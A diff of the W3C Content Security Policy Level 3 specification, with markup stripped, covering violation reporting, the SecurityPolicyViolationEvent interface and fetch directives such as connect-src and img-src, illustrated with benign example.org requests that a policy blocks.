                6. For each policy in navigation request’s client’s global object’s CSP list:

                  Note: Some directives in the navigation request’s context (like navigate-to) need the response before acting on the navigation.

                    -
                  1. +
                  2. For each directive in policy:

                      -
                    1. +
                    2. If directive’s navigation response check returns "Allowed" when executed upon navigation request, type, navigation response, target, "source", and policy skip to the next directive.

                      -
                    3. -

                      Otherwise, let violation be the result of executing §2.4.1 Create a violation object for global, policy, and directive on navigation request’s client’s global object, policy, and directive’s name.

                      -
                    4. +
                    5. +

                      Otherwise, let violation be the result of executing § 2.4.1 Create a violation object for global, policy, and directive on navigation request’s client’s global object, policy, and directive’s name.

                      +
                    6. Set violation’s resource to navigation request’s URL.

                      -
                    7. -

                      Execute §5.3 Report a violation on violation.

                      -
                    8. +
                    9. +

                      Execute § 5.3 Report a violation on violation.

                      +
                    10. If policy’s disposition is "enforce", then set result to "Blocked".

                  -
                7. +
                8. Return result.

                4.3. Integration with ECMAScript

                @@ -2818,167 +3279,168 @@

                CSP list to determine whether such compilation ought to be blocked.

                -

                4.3.1. EnsureCSPDoesNotBlockStringCompilation(callerRealm, calleeRealm, source)

                +

                4.3.1. EnsureCSPDoesNotBlockStringCompilation(callerRealm, calleeRealm, source)

                Given two realms (callerRealm and calleeRealm), and a string (source), this algorithm returns normally if string compilation is allowed, and throws an "EvalError" if not:

                  -
                1. +
                2. Let globals be a list containing callerRealm’s global object and calleeRealm’s global object.

                  -
                3. +
                4. For each global in globals:

                    -
                  1. +
                  2. Let result be "Allowed".

                    -
                  3. +
                  4. For each policy in global’s CSP list:

                      -
                    1. +
                    2. Let source-list be null.

                      -
                    3. +
                    4. If policy contains a directive whose name is "script-src", then set source-list to that directive's value.

                      Otherwise if policy contains a directive whose name is "default-src", then set source-list to that directive’s value.

                      -
                    5. +
                    6. If source-list is not null, and does not contain a source expression which is an ASCII case-insensitive match for the string "'unsafe-eval'", then:

                        -
                      1. -

                        Let violation be the result of executing §2.4.1 Create a violation object for global, policy, and directive on global, policy, and "script-src".

                        -
                      2. +
                      3. +

                        Let violation be the result of executing § 2.4.1 Create a violation object for global, policy, and directive on global, policy, and "script-src".

                        +
                      4. Set violation’s resource to "inline".

                        -
                      5. +
                      6. If source-list contains the expression "'report-sample'", then set violation’s sample to the substring of source containing its first 40 characters.

                        -
                      7. -

                        Execute §5.3 Report a violation on violation.

                        -
                      8. +
                      9. +

                        Execute § 5.3 Report a violation on violation.

                        +
                      10. If policy’s disposition is "enforce", then set result to "Blocked".

                    -
                  5. +
                  6. If result is "Blocked", throw an EvalError exception.

                -

                HostEnsureCanCompileStrings() does not include the string which is +

                HostEnsureCanCompileStrings() does not include the string which is going to be compiled as a parameter. We’ll also need to update HTML to pipe that value through to CSP. <https://github.com/tc39/ecma262/issues/938>

                5. Reporting

                When one or more of a policy’s directives is violated, - a csp violation report may be generated and sent out to a + a csp violation report may be generated and sent out to a reporting endpoint associated with the policy.

                csp violation reports have the report type "csp-violation".

                csp violation reports are visible to ReportingObservers.

                -
                interface CSPViolationReportBody : ReportBody {
                -  readonly attribute USVString documentURL;
                -  readonly attribute USVString? referrer;
                -  readonly attribute USVString? blockedURL;
                -  readonly attribute DOMString effectiveDirective;
                -  readonly attribute DOMString originalPolicy;
                -  readonly attribute USVString? sourceFile;
                -  readonly attribute DOMString? sample;
                -  readonly attribute SecurityPolicyViolationEventDisposition disposition;
                -  readonly attribute unsigned short statusCode;
                -  readonly attribute unsigned long? lineNumber;
                -  readonly attribute unsigned long? columnNumber;
                +
                [Exposed=Window]
                +interface CSPViolationReportBody : ReportBody {
                +  readonly attribute USVString documentURL;
                +  readonly attribute USVString? referrer;
                +  readonly attribute USVString? blockedURL;
                +  readonly attribute DOMString effectiveDirective;
                +  readonly attribute DOMString originalPolicy;
                +  readonly attribute USVString? sourceFile;
                +  readonly attribute DOMString? sample;
                +  readonly attribute SecurityPolicyViolationEventDisposition disposition;
                +  readonly attribute unsigned short statusCode;
                +  readonly attribute unsigned long? lineNumber;
                +  readonly attribute unsigned long? columnNumber;
                 };
                 

                5.1. Violation DOM Events

                -
                enum SecurityPolicyViolationEventDisposition {
                -  "enforce", "report"
                +
                enum SecurityPolicyViolationEventDisposition {
                +  "enforce", "report"
                 };
                 
                -[Constructor(DOMString type, optional SecurityPolicyViolationEventInit eventInitDict),
                - Exposed=(Window,Worker)]
                -interface SecurityPolicyViolationEvent : Event {
                -    readonly    attribute USVString      documentURL;
                -    readonly    attribute USVString      documentURI; // historical alias of documentURL
                -    readonly    attribute USVString      referrer;
                -    readonly    attribute USVString      blockedURL;
                -    readonly    attribute USVString      blockedURI; // historical alias of blockedURL
                -    readonly    attribute DOMString      effectiveDirective;
                -    readonly    attribute DOMString      violatedDirective; // historical alias of effectiveDirective
                -    readonly    attribute DOMString      originalPolicy;
                -    readonly    attribute USVString      sourceFile;
                -    readonly    attribute DOMString      sample;
                -    readonly    attribute SecurityPolicyViolationEventDisposition      disposition;
                -    readonly    attribute unsigned short statusCode;
                -    readonly    attribute unsigned long  lineno;
                -    readonly    attribute unsigned long  lineNumber; // historical alias of lineno
                -    readonly    attribute unsigned long  colno;
                -    readonly    attribute unsigned long  columnNumber; // historical alias of colno
                +[Exposed=(Window,Worker)]
                +interface SecurityPolicyViolationEvent : Event {
                +    constructor(DOMString type, optional SecurityPolicyViolationEventInit eventInitDict = {});
                +    readonly    attribute USVString      documentURL;
                +    readonly    attribute USVString      documentURI; // historical alias of documentURL
                +    readonly    attribute USVString      referrer;
                +    readonly    attribute USVString      blockedURL;
                +    readonly    attribute USVString      blockedURI; // historical alias of blockedURL
                +    readonly    attribute DOMString      effectiveDirective;
                +    readonly    attribute DOMString      violatedDirective; // historical alias of effectiveDirective
                +    readonly    attribute DOMString      originalPolicy;
                +    readonly    attribute USVString      sourceFile;
                +    readonly    attribute DOMString      sample;
                +    readonly    attribute SecurityPolicyViolationEventDisposition      disposition;
                +    readonly    attribute unsigned short statusCode;
                +    readonly    attribute unsigned long  lineno;
                +    readonly    attribute unsigned long  lineNumber; // historical alias of lineno
                +    readonly    attribute unsigned long  colno;
                +    readonly    attribute unsigned long  columnNumber; // historical alias of colno
                 };
                 
                -dictionary SecurityPolicyViolationEventInit : EventInit {
                -    required USVString      documentURL;
                -             USVString      referrer = "";
                -             USVString      blockedURL = "";
                -    required DOMString      effectiveDirective;
                -    required DOMString      originalPolicy;
                -             USVString      sourceFile = "";
                -             DOMString      sample = "";
                -    required SecurityPolicyViolationEventDisposition disposition;
                -    required unsigned short statusCode;
                -             unsigned long  lineno = 0;
                -             unsigned long  colno = 0;
                +dictionary SecurityPolicyViolationEventInit : EventInit {
                +    required USVString      documentURL;
                +             USVString      referrer = "";
                +             USVString      blockedURL = "";
                +    required DOMString      effectiveDirective;
                +    required DOMString      originalPolicy;
                +             USVString      sourceFile = "";
                +             DOMString      sample = "";
                +    required SecurityPolicyViolationEventDisposition disposition;
                +    required unsigned short statusCode;
                +             unsigned long  lineno = 0;
                +             unsigned long  colno = 0;
                 };
                 
                -

                The documentURI attribute’s +

                The documentURI attribute’s getter must return the value of the object’s documentURL property.

                -

                The blockedURI attribute’s +

                The blockedURI attribute’s getter must return the value of the object’s blockedURL property.

                -

                The violatedDirective attribute’s +

                The violatedDirective attribute’s getter must return the value of the object’s effectiveDirective property.

                -

                The lineNumber attribute’s +

                The lineNumber attribute’s getter must return the value of the object’s lineno property.

                -

                The columnNumber attribute’s +

                The columnNumber attribute’s getter must return the value of the object’s colno property.

                5.2. Obtain the deprecated serialization of violation

                Given a violation (violation), this algorithm returns a JSON text string representation of the violation, suitable for submission to a reporting endpoint associated with the deprecated report-uri directive.

                  -
                1. +
                2. Let object be a new JavaScript object with properties initialized as follows:

                  -
                  "document-url" -
                  +
                  "document-url" +

                  The result of executing the URL serializer on violation’s url, with the exclude fragment flag set.

                  -
                  "document-uri" -
                  +
                  "document-uri" +

                  A copy of the "document-url" property, kept for historical reasons

                  -
                  "referrer" -
                  +
                  "referrer" +

                  The result of executing the URL serializer on violation’s referrer, with the exclude fragment flag set.

                  -
                  "blocked-url" -
                  +
                  "blocked-url" +

                  The result of executing the URL serializer on violation’s resource, with the exclude fragment flag set.

                  -
                  "blocked-uri" -
                  +
                  "blocked-uri" +

                  A copy of the "blocked-url" property, kept for historical reasons

                  -
                  "effective-directive" -
                  +
                  "effective-directive" +

                  violation’s effective directive

                  -
                  "violated-directive" -
                  +
                  "violated-directive" +

                  A copy of the "effective-directive" property, kept for historical reasons

                  -
                  "original-policy" -
                  +
                  "original-policy" +

                  The serialization of violation’s policy

                  -
                  "disposition" -
                  +
                  "disposition" +

                  The disposition of violation’s policy

                  -
                  "status-code" -
                  +
                  "status-code" +

                  violation’s status

                  -
                  "script-sample" -
                  +
                  "script-sample" +

                  violation’s sample

                  Note: The name script-sample was chosen for compatibility with an earlier iteration of this feature which has shipped in Firefox since its initial implementation of CSP. Despite @@ -2986,167 +3448,167 @@

                  SecurityPolicyViolationEvent object, and in reports generated via the new report-to directive, is named in a more encompassing fashion: sample.

                  -
                3. +
                4. If violation’s source file is not null:

                    -
                  1. +
                  2. Set object’s "source-file" property to the result of executing the URL serializer on violation’s source file, with the exclude fragment flag set.

                    -
                  3. +
                  4. Set object’s "lineno" property to violation’s line number.

                    -
                  5. +
                  6. Set object’s "line-number" property to violation’s line number.

                    -
                  7. +
                  8. Set object’s "colno" property to violation’s column number.

                    -
                  9. +
                  10. Set object’s "column-number" property to violation’s column number.

                    Note: the "line-number" and "column-number" properties are maintained for historical reasons and are duplicates of "lineno" and "colno" respectively.

                  -
                5. +
                6. Assert: If object’s "blocked-url" property is not "inline", then its "sample" property is the empty string.

                  -
                7. +
                8. Return the result of executing JSON.stringify() on object.

                5.3. Report a violation

                Given a violation (violation), this algorithm reports it to the endpoint specified in violation’s policy, and fires a SecurityPolicyViolationEvent at violation’s element, or at violation’s global object as described below:

                  -
                1. +
                2. Let global be violation’s global object.

                  -
                3. +
                4. Let target be violation’s element.

                  -
                5. +
                6. Queue a task to run the following steps:

                  Note: We "queue a task" here to ensure that the event targeting and dispatch happens after JavaScript completes execution of the task responsible for a given violation (which might manipulate the DOM).

                    -
                  1. +
                  2. If target is not null, and global is a Window, and target’s shadow-including root is not global’s associated Document, set target to null.

                    Note: This ensures that we fire events only at elements connected to violation’s policy’s Document. If a violation is caused by an element which isn’t connected to that document, we’ll fire the event at the document rather than the element in order to ensure that the violation is visible to the document’s listeners.

                    -
                  3. +
                  4. If target is null:

                      -
                    1. +
                    2. Set target be violation’s global object.

                      -
                    3. +
                    4. If target is a Window, set target to target’s associated Document.

                    -
                  5. +
                  6. Fire an event named securitypolicyviolation that uses the SecurityPolicyViolationEvent interface at target with its attributes initialized as follows:

                    -
                    documentURL -
                    +
                    documentURL +

                    The result of executing the URL serializer on violation’s url, with the exclude fragment flag set.

                    -
                    referrer -
                    +
                    referrer +

                    The result of executing the URL serializer on violation’s referrer, with the exclude fragment flag set.

                    -
                    blockedURL -
                    +
                    blockedURL +

                    The result of executing the URL serializer on violation’s resource, with the exclude fragment flag set.

                    -
                    effectiveDirective -
                    +
                    effectiveDirective +

                    violation’s effective directive

                    -
                    originalPolicy -
                    +
                    originalPolicy +

                    The serialization of violation’s policy

                    -
                    disposition -
                    +
                    disposition +

                    violation’s disposition

                    -
                    sourceFile -
                    +
                    sourceFile +

                    The result of executing the URL serializer on violation’s source file, with the exclude fragment flag set if the violation’s source file it not null and the empty string otherwise.

                    -
                    statusCode -
                    +
                    statusCode +

                    violation’s status

                    -
                    lineno -
                    +
                    lineno +

                    violation’s line number

                    -
                    colno -
                    +
                    colno +

                    violation’s column number

                    -
                    sample -
                    +
                    sample +

                    violation’s sample

                    -
                    bubbles -
                    +
                    bubbles +

                    true

                    -
                    composed -
                    +
                    composed +

                    true

                    Note: We set the composed attribute, which means that this event can be captured on its way into, and will bubble its way out of a shadow tree. target, et al will be automagically scoped correctly for the main tree.

                    -
                  7. +
                  8. If violation’s policy’s directive set contains a directive named "report-uri" (directive):

                      -
                    1. +
                    2. If violation’s policy’s directive set contains a directive named "report-to", skip the remaining substeps.

                      -
                    3. +
                    4. For each token returned by splitting a string on ASCII whitespace with directive’s value as the input.

                        -
                      1. +
                      2. Let endpoint be the result of executing the URL parser with token as the input, and violation’s url as the base URL.

                        -
                      3. +
                      4. If endpoint is not a valid URL, skip the remaining substeps.

                        -
                      5. +
                      6. Let request be a new request, initialized as follows:

                        -
                        method -
                        +
                        method +

                        "POST"

                        -
                        url -
                        +
                        url +

                        violation’s url

                        -
                        origin -
                        +
                        origin +

                        violation’s global object’s relevant settings object’s origin

                        -
                        window -
                        +
                        window +

                        "no-window"

                        -
                        client -
                        +
                        client +

                        violation’s global object’s relevant settings object

                        -
                        destination -
                        +
                        destination +

                        "report"

                        -
                        initiator -
                        +
                        initiator +

                        ""

                        -
                        credentials mode -
                        +
                        credentials mode +

                        "same-origin"

                        -
                        keepalive flag -
                        +
                        keepalive flag +

                        "true"

                        -
                        header list -
                        +
                        header list +

                        A header list containing a single header whose name is "Content-Type", and value is "application/csp-report"

                        -
                        body -
                        -

                        The result of executing §5.2 Obtain the deprecated serialization of violation on violation

                        -
                        redirect mode -
                        +
                        body +
                        +

                        The result of executing § 5.2 Obtain the deprecated serialization of violation on violation

                        +
                        redirect mode +

                        "error"

                        Note: request’s mode defaults to "no-cors"; the response is ignored entirely.

                        -
                      7. +
                      8. Fetch request. The result will be ignored.

                    @@ -3156,70 +3618,70 @@

                    Note: report-uri only takes effect if report-to is not present. That is, the latter overrides the former, allowing for backwards compatibility with browsers that don’t support the new mechanism.

                    -
                  9. +
                  10. If violation’s policy’s directive set contains a directive named "report-to" (directive):

                      -
                    1. +
                    2. Let body be a new CSPViolationReportBody, initialized as follows:

                      -
                      documentURL -
                      +
                      documentURL +

                      The result of executing the URL serializer on violation’s url, with the exclude fragment flag set.

                      -
                      referrer -
                      +
                      referrer +

                      The result of executing the URL serializer on violation’s referrer, with the exclude fragment flag set.

                      -
                      blockedURL -
                      +
                      blockedURL +

                      The result of executing the URL serializer on violation’s resource, with the exclude fragment flag set.

                      -
                      effectiveDirective -
                      +
                      effectiveDirective +

                      violation’s effective directive.

                      -
                      originalPolicy -
                      +
                      originalPolicy +

                      The serialization of violation’s policy.

                      -
                      sourceFile -
                      +
                      sourceFile +

                      The result of executing the URL serializer on violation’s source file, with the exclude fragment flag set, if violation’s source file is not null, or null otherwise.

                      -
                      sample -
                      +
                      sample +

                      violation’s sample.

                      -
                      disposition -
                      +
                      disposition +

                      violation’s disposition.

                      -
                      statusCode -
                      +
                      statusCode +

                      violation’s status.

                      -
                      lineNumber -
                      +
                      lineNumber +

                      violation’s line number, if violation’s source file is not null, or null otherwise.

                      -
                      columnNumber -
                      +
                      columnNumber +

                      violation’s column number, if violation’s source file is not null, or null otherwise.

                      -
                    3. +
                    4. Let settings object be violation’s global object’s relevant settings object.

                      -
                    5. +
                    6. Execute [REPORTING]'s Queue data as type for endpoint group on settings algorithm with the following arguments:

                      -
                      data -
                      +
                      data +

                      body

                      -
                      type -
                      +
                      type +

                      "csp-violation"

                      -
                      endpoint group -
                      +
                      endpoint group +

                      directive’s value.

                      -
                      settings -
                      +
                      settings +

                      settings object

                    @@ -3230,32 +3692,32 @@

                    6. Content Security Policy Directives

                    This specification defines a number of types of directives which allow developers to control certain aspects of their sites' behavior. This document - defines directives which govern resource fetching (in §6.1 Fetch Directives), - directives which govern the state of a document (in §6.2 Document Directives), - directives which govern aspects of navigation (in §6.3 Navigation Directives), - and directives which govern reporting (in §6.4 Reporting Directives). These + defines directives which govern resource fetching (in § 6.1 Fetch Directives), + directives which govern the state of a document (in § 6.2 Document Directives), + directives which govern aspects of navigation (in § 6.3 Navigation Directives), + and directives which govern reporting (in § 6.4 Reporting Directives). These form the core of Content Security Policy; other directives are defined in a - modular fashion in ancillary documents (see §6.5 Directives Defined in Other Documents for + modular fashion in ancillary documents (see § 6.5 Directives Defined in Other Documents for examples).

                    To mitigate the risk of cross-site scripting attacks, web developers SHOULD include directives that regulate sources of script and plugins. They can do so by including:

                    In either case, developers SHOULD NOT include either 'unsafe-inline', or data: as valid sources in their policies. Both enable XSS attacks by allowing code to be included directly in the document itself; they are best avoided completely.

                    6.1. Fetch Directives

                    -

                    Fetch directives control the locations from which certain resource +

                    Fetch directives control the locations from which certain resource types may be loaded. For instance, script-src allows developers to allow trusted sources of script to execute on a page, while font-src controls the sources of web fonts.

                    6.1.1. child-src

                    -

                    The child-src directive governs the creation of nested browsing +

                    The child-src directive governs the creation of nested browsing contexts (e.g. iframe and frame navigations) and Worker execution contexts. The syntax for the directive’s name and value is described by the following ABNF:

                    @@ -3266,35 +3728,35 @@

                    requests falling into one of the following categories:

                    -
                    - Given a page with the following Content Security Policy: +
                    + Given a page with the following Content Security Policy:
                    Content-Security-Policy: child-src https://example.com/
                     

                    Fetches for the following code will all return network errors, as the URLs provided do not match child-src's source list:

                    -
                    <iframe src="https://example.org"></iframe>
                    -<script>
                    -  var blockedWorker = new Worker("data:application/javascript,...");
                    -</script>
                    +
                    <iframe src="https://example.org"></iframe>
                    +<script>
                    +  var blockedWorker = new Worker("data:application/javascript,...");
                    +</script>
                     
                    6.1.1.1. child-src Pre-request check

                    This directive’s pre-request check is as follows:

                    Given a request (request) and a policy (policy):

                      -
                    1. -

                      Let name be the result of executing §6.7.1 Get the effective directive for request on request.

                      -
                    2. -

                      If the result of executing §6.7.4 Should fetch directive execute on name, child-src and policy is "No", return "Allowed".

                      -
                    3. +
                    4. +

                      Let name be the result of executing § 6.7.1 Get the effective directive for request on request.

                      +
                    5. +

                      If the result of executing § 6.7.4 Should fetch directive execute on name, child-src and policy is "No", return "Allowed".

                      +
                    6. Return the result of executing the pre-request check for the directive whose name is name on request and policy, using this directive’s value for the comparison.

                    @@ -3302,16 +3764,16 @@
                    post-request check is as follows:

                    Given a request (request), a response (response), and a policy (policy):

                      -
                    1. -

                      Let name be the result of executing §6.7.1 Get the effective directive for request on request.

                      -
                    2. -

                      If the result of executing §6.7.4 Should fetch directive execute on name, child-src and policy is "No", return "Allowed".

                      -
                    3. +
                    4. +

                      Let name be the result of executing § 6.7.1 Get the effective directive for request on request.

                      +
                    5. +

                      If the result of executing § 6.7.4 Should fetch directive execute on name, child-src and policy is "No", return "Allowed".

                      +
                    6. Return the result of executing the post-request check for the directive whose name is name on request, response, and policy, using this directive’s value for the comparison.

                    6.1.2. connect-src

                    -

                    The connect-src directive restricts the URLs which can be loaded +

                    The connect-src directive restricts the URLs which can be loaded using script interfaces. The syntax for the directive’s name and value is described by the following ABNF:

                    directive-name  = "connect-src"
                    @@ -3321,8 +3783,8 @@ 

                    fetch(), [XHR], [EVENTSOURCE], [BEACON], and a's ping. This directive also controls WebSocket [WEBSOCKETS] connections, though those aren’t technically part of Fetch.

                    -
                    - JavaScript offers a few mechanisms that directly connect to an external +
                    + JavaScript offers a few mechanisms that directly connect to an external server to send or receive information. EventSource maintains an open HTTP connection to a server in order to receive push notifications, WebSockets open a bidirectional communication channel between your browser and a server, and XMLHttpRequest makes arbitrary HTTP requests @@ -3336,49 +3798,49 @@

                    Fetches for the following code will all return network errors, as the URLs provided do not match connect-src's source list:

                    -
                    <a ping="https://example.org">...
                    -<script>
                    -  var xhr = new XMLHttpRequest();
                    -  xhr.open('GET', 'https://example.org/');
                    -  xhr.send();
                    +
                    <a ping="https://example.org">...
                    +<script>
                    +  var xhr = new XMLHttpRequest();
                    +  xhr.open('GET', 'https://example.org/');
                    +  xhr.send();
                     
                    -  var ws = new WebSocket("wss://example.org/");
                    +  var ws = new WebSocket("wss://example.org/");
                     
                    -  var es = new EventSource("https://example.org/");
                    +  var es = new EventSource("https://example.org/");
                     
                    -  navigator.sendBeacon("https://example.org/", { ... });
                    -</script>
                    +  navigator.sendBeacon("https://example.org/", { ... });
                    +</script>
                     

                    6.1.2.1. connect-src Pre-request check

                    This directive’s pre-request check is as follows:

                    Given a request (request) and a policy (policy):

                      -
                    1. -

                      Let name be the result of executing §6.7.1 Get the effective directive for request on request.

                      -
                    2. -

                      If the result of executing §6.7.4 Should fetch directive execute on name, connect-src and policy is "No", return "Allowed".

                      -
                    3. -

                      If the result of executing §6.6.2.3 Does request match source list? on request, this directive’s value, and policy, is "Does Not Match", return "Blocked".

                      -
                    4. +
                    5. +

                      Let name be the result of executing § 6.7.1 Get the effective directive for request on request.

                      +
                    6. +

                      If the result of executing § 6.7.4 Should fetch directive execute on name, connect-src and policy is "No", return "Allowed".

                      +
                    7. +

                      If the result of executing § 6.6.2.3 Does request match source list? on request, this directive’s value, and policy, is "Does Not Match", return "Blocked".

                      +
                    8. Return "Allowed".

                    6.1.2.2. connect-src Post-request check

                    This directive’s post-request check is as follows:

                    Given a request (request), a response (response), and a policy (policy):

                      -
                    1. -

                      Let name be the result of executing §6.7.1 Get the effective directive for request on request.

                      -
                    2. -

                      If the result of executing §6.7.4 Should fetch directive execute on name, connect-src and policy is "No", return "Allowed".

                      -
                    3. -

                      If the result of executing §6.6.2.4 Does response to request match source list? on response, request, this directive’s value, +

                    4. +

                      Let name be the result of executing § 6.7.1 Get the effective directive for request on request.

                      +
                    5. +

                      If the result of executing § 6.7.4 Should fetch directive execute on name, connect-src and policy is "No", return "Allowed".

                      +
                    6. +

                      If the result of executing § 6.6.2.4 Does response to request match source list? on response, request, this directive’s value, and policy, is "Does Not Match", return "Blocked".

                      -
                    7. +
                    8. Return "Allowed".

                    6.1.3. default-src

                    -

                    The default-src directive serves as a fallback for the other fetch directives. The syntax for the directive’s name and value is described by +

                    The default-src directive serves as a fallback for the other fetch directives. The syntax for the directive’s name and value is described by the following ABNF:

                    directive-name  = "default-src"
                     directive-value = serialized-source-list
                    @@ -3386,9 +3848,9 @@ 

                    If a default-src directive is present in a policy, its value will be used as the policy’s default source list. That is, given default-src 'none'; script-src 'self', script requests will use 'self' as the source list to match against. Other requests will use 'none'. This is spelled - out in more detail in the §4.1.3 Should request be blocked by Content Security Policy? and §4.1.4 Should response to request be blocked by Content Security Policy? algorithms.

                    -
                    - The following header: + out in more detail in the § 4.1.3 Should request be blocked by Content Security Policy? and § 4.1.4 Should response to request be blocked by Content Security Policy? algorithms.

                    +
                    + The following header:
                    Content-Security-Policy: default-src 'self'
                     

                    will have the same behavior as the following header:

                    @@ -3409,8 +3871,8 @@

                    That is, when default-src is set, every fetch directive that isn’t explicitly set will fall back to the value default-src specifies.

                    -
                    - There is no inheritance. If a script-src directive is explicitly +
                    + There is no inheritance. If a script-src directive is explicitly specified, for example, then the value of default-src has no influence on script requests. That is, the following header:
                    Content-Security-Policy: default-src 'self'; script-src-elem https://example.com
                    @@ -3439,11 +3901,11 @@ 
                    pre-request check is as follows:

                    Given a request (request) and a policy (policy):

                      -
                    1. -

                      Let name be the result of executing §6.7.1 Get the effective directive for request on request.

                      -
                    2. -

                      If the result of executing §6.7.4 Should fetch directive execute on name, default-src and policy is "No", return "Allowed".

                      -
                    3. +
                    4. +

                      Let name be the result of executing § 6.7.1 Get the effective directive for request on request.

                      +
                    5. +

                      If the result of executing § 6.7.4 Should fetch directive execute on name, default-src and policy is "No", return "Allowed".

                      +
                    6. Return the result of executing the pre-request check for the directive whose name is name on request and policy, using this directive’s value for the comparison.

                    @@ -3451,11 +3913,11 @@
                    post-request check is as follows:

                    Given a request (request), a response (response), and a policy (policy):

                      -
                    1. -

                      Let name be the result of executing §6.7.1 Get the effective directive for request on request.

                      -
                    2. -

                      If the result of executing §6.7.4 Should fetch directive execute on name, default-src and policy is "No", return "Allowed".

                      -
                    3. +
                    4. +

                      Let name be the result of executing § 6.7.1 Get the effective directive for request on request.

                      +
                    5. +

                      If the result of executing § 6.7.4 Should fetch directive execute on name, default-src and policy is "No", return "Allowed".

                      +
                    6. Return the result of executing the post-request check for the directive whose name is name on request, response, and policy, using this directive’s value for the comparison.

                    @@ -3463,110 +3925,110 @@
                    This directive’s inline check algorithm is as follows:

                    Given an Element (element), a string (type), a policy (policy) and a string (source):

                      -
                    1. -

                      Let name be the result of executing §6.7.2 Get the effective directive for inline checks on type.

                      -
                    2. -

                      If the result of executing §6.7.4 Should fetch directive execute on name, default-src and policy is "No", return "Allowed".

                      -
                    3. +
                    4. +

                      Let name be the result of executing § 6.7.2 Get the effective directive for inline checks on type.

                      +
                    5. +

                      If the result of executing § 6.7.4 Should fetch directive execute on name, default-src and policy is "No", return "Allowed".

                      +
                    6. Otherwise, return the result of executing the inline check for the directive whose name is name on element, type, policy and source, using this directive’s value for the comparison.

                    6.1.4. font-src

                    -

                    The font-src directive restricts the URLs from which font resources +

                    The font-src directive restricts the URLs from which font resources may be loaded. The syntax for the directive’s name and value is described by the following ABNF:

                    directive-name  = "font-src"
                     directive-value = serialized-source-list
                     
                    -
                    - Given a page with the following Content Security Policy: +
                    + Given a page with the following Content Security Policy:
                    Content-Security-Policy: font-src https://example.com/
                     

                    Fetches for the following code will return a network errors, as the URL provided do not match font-src's source list:

                    -
                    <style>
                    -  @font-face {
                    -    font-family: "Example Font";
                    -    src: url("https://example.org/font");
                    -  }
                    -  body {
                    -    font-family: "Example Font";
                    -  }
                    -</style>
                    +
                    <style>
                    +  @font-face {
                    +    font-family: "Example Font";
                    +    src: url("https://example.org/font");
                    +  }
                    +  body {
                    +    font-family: "Example Font";
                    +  }
                    +</style>
                     
                    6.1.4.1. font-src Pre-request check

                    This directive’s pre-request check is as follows:

                    Given a request (request) and a policy (policy):

                      -
                    1. -

                      Let name be the result of executing §6.7.1 Get the effective directive for request on request.

                      -
                    2. -

                      If the result of executing §6.7.4 Should fetch directive execute on name, font-src and policy is "No", return "Allowed".

                      -
                    3. -

                      If the result of executing §6.6.2.3 Does request match source list? on request, this directive’s value, and policy, is "Does Not Match", return "Blocked".

                      -
                    4. +
                    5. +

                      Let name be the result of executing § 6.7.1 Get the effective directive for request on request.

                      +
                    6. +

                      If the result of executing § 6.7.4 Should fetch directive execute on name, font-src and policy is "No", return "Allowed".

                      +
                    7. +

                      If the result of executing § 6.6.2.3 Does request match source list? on request, this directive’s value, and policy, is "Does Not Match", return "Blocked".

                      +
                    8. Return "Allowed".

                    6.1.4.2. font-src Post-request check

                    This directive’s post-request check is as follows:

                    Given a request (request), a response (response), and a policy (policy):

                      -
                    1. -

                      Let name be the result of executing §6.7.1 Get the effective directive for request on request.

                      -
                    2. -

                      If the result of executing §6.7.4 Should fetch directive execute on name, font-src and policy is "No", return "Allowed".

                      -
                    3. -

                      If the result of executing §6.6.2.4 Does response to request match source list? on response, request, this directive’s value, +

                    4. +

                      Let name be the result of executing § 6.7.1 Get the effective directive for request on request.

                      +
                    5. +

                      If the result of executing § 6.7.4 Should fetch directive execute on name, font-src and policy is "No", return "Allowed".

                      +
                    6. +

                      If the result of executing § 6.6.2.4 Does response to request match source list? on response, request, this directive’s value, and policy, is "Does Not Match", return "Blocked".

                      -
                    7. +
                    8. Return "Allowed".

                    6.1.5. frame-src

                    -

                    The frame-src directive restricts the URLs which may be loaded into nested browsing contexts. The syntax for the directive’s name and value +

                    The frame-src directive restricts the URLs which may be loaded into nested browsing contexts. The syntax for the directive’s name and value is described by the following ABNF:

                    directive-name  = "frame-src"
                     directive-value = serialized-source-list
                     
                    -
                    - Given a page with the following Content Security Policy: +
                    + Given a page with the following Content Security Policy:
                    Content-Security-Policy: frame-src https://example.com/
                     

                    Fetches for the following code will return a network errors, as the URL provided do not match frame-src's source list:

                    -
                    <iframe src="https://example.org/">
                    -</iframe>
                    +
                    <iframe src="https://example.org/">
                    +</iframe>
                     
                    6.1.5.1. frame-src Pre-request check

                    This directive’s pre-request check is as follows:

                    Given a request (request) and a policy (policy):

                      -
                    1. -

                      Let name be the result of executing §6.7.1 Get the effective directive for request on request.

                      -
                    2. -

                      If the result of executing §6.7.4 Should fetch directive execute on name, frame-src and policy is "No", return "Allowed".

                      -
                    3. -

                      If the result of executing §6.6.2.3 Does request match source list? on request, this directive’s value, and policy, is "Does Not Match", return "Blocked".

                      -
                    4. +
                    5. +

                      Let name be the result of executing § 6.7.1 Get the effective directive for request on request.

                      +
                    6. +

                      If the result of executing § 6.7.4 Should fetch directive execute on name, frame-src and policy is "No", return "Allowed".

                      +
                    7. +

                      If the result of executing § 6.6.2.3 Does request match source list? on request, this directive’s value, and policy, is "Does Not Match", return "Blocked".

                      +
                    8. Return "Allowed".

                    6.1.5.2. frame-src Post-request check

                    This directive’s post-request check is as follows:

                    Given a request (request), a response (response), and a policy (policy):

                      -
                    1. -

                      Let name be the result of executing §6.7.1 Get the effective directive for request on request.

                      -
                    2. -

                      If the result of executing §6.7.4 Should fetch directive execute on name, frame-src and policy is "No", return "Allowed".

                      -
                    3. -

                      If the result of executing §6.6.2.4 Does response to request match source list? on response, request, this directive’s value, +

                    4. +

                      Let name be the result of executing § 6.7.1 Get the effective directive for request on request.

                      +
                    5. +

                      If the result of executing § 6.7.4 Should fetch directive execute on name, frame-src and policy is "No", return "Allowed".

                      +
                    6. +

                      If the result of executing § 6.6.2.4 Does response to request match source list? on response, request, this directive’s value, and policy, is "Does Not Match", return "Blocked".

                      -
                    7. +
                    8. Return "Allowed".

                    6.1.6. img-src

                    -

                    The img-src directive restricts the URLs from which image resources +

                    The img-src directive restricts the URLs from which image resources may be loaded. The syntax for the directive’s name and value is described by the following ABNF:

                    directive-name  = "img-src"
                    @@ -3574,163 +4036,163 @@ 

                    This directive controls requests which load images. More formally, this includes requests whose destination is "image" [FETCH].

                    -
                    - Given a page with the following Content Security Policy: +
                    + Given a page with the following Content Security Policy:
                    Content-Security-Policy: img-src https://example.com/
                     

                    Fetches for the following code will return a network errors, as the URL provided do not match img-src's source list:

                    -
                    <img src="https://example.org/img">
                    +
                    <img src="https://example.org/img">
